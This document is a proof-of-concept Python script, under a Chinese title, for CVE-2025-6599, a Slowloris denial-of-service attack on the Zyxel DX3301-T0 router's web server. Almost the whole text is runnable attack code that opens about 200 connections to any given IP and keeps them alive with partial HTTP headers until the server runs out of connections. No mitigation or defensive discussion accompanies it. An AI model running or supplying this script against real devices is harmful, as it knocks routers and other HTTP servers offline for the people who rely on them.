CVE-2025-6599 Zyxel DX3301-T0 Slowloris拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-6599 PoC - Slowloris Attack on Zyxel DX3301-T0 This PoC demonstrates the uncontrolled resource consumption vulnerability """ import socket import time import random import argparse def slowloris_attack(target_ip, target_port=80, num_connections=200, delay=15): """ Perform Slowloris attack to exhaust HTTP server connections Args: target_ip: Target device IP address target_port: Target web server port (default: 80) num_connections: Number of concurrent connections to maintain delay: Delay in seconds between header sends """ print(f"[*] Starting Slowloris attack on {target_ip}:{target_port}") print(f"[*] Target: Zyxel DX3301-T0 Web Server") print(f"[*] Establishing {num_connections} connections...") sockets = [] # Create initial connections for i in range(num_connections): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(4) sock.connect((target_ip, target_port)) # Send partial HTTP request sock.send(f"GET / HTTP/1.1\r\n".encode()) sock.send(f"Host: {target_ip}\r\n".encode()) sock.send(f"User-Agent: Mozilla/5.0\r\n".encode()) sockets.append(sock) print(f"[+] Connection {i+1}/{num_connections} established") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print(f"[*] {len(sockets)} connections established") print(f"[*] Sending keep-alive headers every {delay} seconds...") # Keep connections alive by sending partial headers try: while True: for sock in sockets: try: # Send another partial header sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode()) except: pass print(f"[*] Sent keep-alive headers to {len(sockets)} connections") time.sleep(delay) except KeyboardInterrupt: print("\n[*] Attack stopped by user") finally: for sock in sockets: sock.close() print("[*] All connections closed") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-6599 Slowloris PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('--connections', type=int, default=200, help='Number of connections') parser.add_argument('--delay', type=int, default=15, help='Delay between headers') args = parser.parse_args() slowloris_attack(args.target, args.port, args.connections, args.delay)